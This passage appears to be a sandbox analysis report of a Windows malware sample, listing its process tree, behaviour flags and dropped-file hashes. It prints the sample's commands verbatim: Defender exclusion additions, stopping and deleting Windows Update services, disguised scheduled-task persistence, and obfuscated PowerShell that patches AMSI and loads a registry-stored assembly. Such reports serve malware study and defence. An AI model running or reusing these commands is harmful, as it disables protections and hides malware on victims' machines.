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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1168
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1760
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 2563⤵
- Program crash
PID:2284
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-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3028
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4876
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3412
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1096
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3376
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:772
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3296
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1992
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:5016
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:5056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2880
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4524
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2552
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2508
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2348
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:1944
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1368
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1832
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1456
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1240
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1100
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:cToUlifRBPSW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xjXynGUZzhqUfN,[Parameter(Position=1)][Type]$EITwsdZMcX)$kbPArjPmMFe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+[Char](108)+'ec'+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+'ry'+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+'pe','C'+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+'l'+''+'e'+''+'d'+''+','+'An'+'s'+'i'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$kbPArjPmMFe.DefineConstructor(''+[Char](82)+'TSpeci'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+','+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$xjXynGUZzhqUfN).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+'i'+'m'+'e'+''+','+''+[Char](77)+''+[Char](97)+'n'+'a'+'ge'+'d'+'');$kbPArjPmMFe.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'ke',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+'Hi'+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'o'+'t'+''+','+''+[Char](86)+''+'i'+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$EITwsdZMcX,$xjXynGUZzhqUfN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+'i'+'m'+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $kbPArjPmMFe.CreateType();}$SYlJCVKucjpnD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.Un'+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](83)+'Y'+[Char](108)+''+[Char](74)+''+'C'+'V'+[Char](75)+'u'+[Char](99)+'jp'+[Char](110)+'D');$EjEUYDtWMNiPaC=$SYlJCVKucjpnD.GetMethod(''+'E'+''+[Char](106)+'E'+'U'+''+[Char](89)+'Dt'+[Char](87)+''+[Char](77)+''+[Char](78)+'iP'+'a'+'C',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CMuwRkMIwEXoVnaQqCC=cToUlifRBPSW @([String])([IntPtr]);$zwQWvfNUQJdKkayeZigZev=cToUlifRBPSW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$soipxckDTKY=$SYlJCVKucjpnD.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$vyFdKvTkAOWHCn=$EjEUYDtWMNiPaC.Invoke($Null,@([Object]$soipxckDTKY,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+'A')));$jwgKJoUOnaknBqhTx=$EjEUYDtWMNiPaC.Invoke($Null,@([Object]$soipxckDTKY,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+'o'+[Char](116)+''+'e'+''+'c'+''+'t'+'')));$AqzVxBI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vyFdKvTkAOWHCn,$CMuwRkMIwEXoVnaQqCC).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+'l'+''+'l'+'');$HGYBOArliycCxrZKv=$EjEUYDtWMNiPaC.Invoke($Null,@([Object]$AqzVxBI,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'S'+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+'u'+'f'+''+'f'+'er')));$pnlPRlyvaa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jwgKJoUOnaknBqhTx,$zwQWvfNUQJdKkayeZigZev).Invoke($HGYBOArliycCxrZKv,[uint32]8,4,[ref]$pnlPRlyvaa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$HGYBOArliycCxrZKv,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jwgKJoUOnaknBqhTx,$zwQWvfNUQJdKkayeZigZev).Invoke($HGYBOArliycCxrZKv,[uint32]8,0x20,[ref]$pnlPRlyvaa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4692 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1360
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bfJIcjxeIHoK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uoVTIkUNuHGDLy,[Parameter(Position=1)][Type]$nuQFkHLcRK)$fzvfxrUipgR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+'e'+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+'M'+'o'+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+'t'+'e'+'T'+[Char](121)+''+'p'+''+[Char](101)+'','Cl'+[Char](97)+'ss'+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+''+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s,'+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$fzvfxrUipgR.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$uoVTIkUNuHGDLy).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+'a'+[Char](103)+''+[Char](101)+'d');$fzvfxrUipgR.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'yS'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+'l'+'o'+'t'+','+'Vi'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$nuQFkHLcRK,$uoVTIkUNuHGDLy).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+'ag'+[Char](101)+'d');Write-Output $fzvfxrUipgR.CreateType();}$AgZAXZRQSnXRo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+'t'+'e'+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'ic'+'r'+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+'n'+'3'+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+'A'+''+[Char](103)+''+[Char](90)+''+[Char](65)+''+'X'+''+[Char](90)+''+'R'+''+[Char](81)+''+[Char](83)+'n'+'X'+''+'R'+'o');$gMtNRuqTOYIXXN=$AgZAXZRQSnXRo.GetMethod(''+[Char](103)+'M'+'t'+''+[Char](78)+''+'R'+''+'u'+''+[Char](113)+'TO'+[Char](89)+'IXX'+[Char](78)+'',[Reflection.BindingFlags]'Pu'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+'a'+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ICvcpiIZRkSbfgFoTnR=bfJIcjxeIHoK @([String])([IntPtr]);$LLNueKcIeqlWSztcoFzZVi=bfJIcjxeIHoK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pxcFOvNawps=$AgZAXZRQSnXRo.GetMethod('G'+'e'+''+[Char](116)+'M'+[Char](111)+''+'d'+''+'u'+''+'l'+''+[Char](101)+'Ha'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'ne'+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$SODEqIALFshazM=$gMtNRuqTOYIXXN.Invoke($Null,@([Object]$pxcFOvNawps,[Object](''+'L'+''+'o'+''+'a'+''+'d'+''+'L'+''+'i'+''+'b'+''+'r'+''+[Char](97)+''+'r'+'y'+[Char](65)+'')));$tcMnEhSdgaupGDfrY=$gMtNRuqTOYIXXN.Invoke($Null,@([Object]$pxcFOvNawps,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$JapFOqq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SODEqIALFshazM,$ICvcpiIZRkSbfgFoTnR).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+'.d'+[Char](108)+''+[Char](108)+'');$VaZTuvrOPSxJyKsrE=$gMtNRuqTOYIXXN.Invoke($Null,@([Object]$JapFOqq,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+'S'+[Char](99)+'a'+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$BevKhnfrwe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tcMnEhSdgaupGDfrY,$LLNueKcIeqlWSztcoFzZVi).Invoke($VaZTuvrOPSxJyKsrE,[uint32]8,4,[ref]$BevKhnfrwe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VaZTuvrOPSxJyKsrE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tcMnEhSdgaupGDfrY,$LLNueKcIeqlWSztcoFzZVi).Invoke($VaZTuvrOPSxJyKsrE,[uint32]8,0x20,[ref]$BevKhnfrwe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+'r'+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1048
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4944
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5000 -ip 50002⤵PID:4016
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4532 -ip 45322⤵PID:3360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3512
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5fc6b3d2f1bf6f709ae939ea61fe0495c
SHA1955439af2f11018046f1d83efffa4abfc970d0a6
SHA256e32d4df8c31e329afffa785a531c3ba48e68b0b9d9c495afa4d05a4d05eb3574
SHA512e36b1a060a59e8590807f0783368a1f20844d35546101efa130aaa2d24e0f1b528d885eb9fe3ce5fb7e8d7a57faf9d9b9a4dbb76e2aaf3f03b45eaa46046e674
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373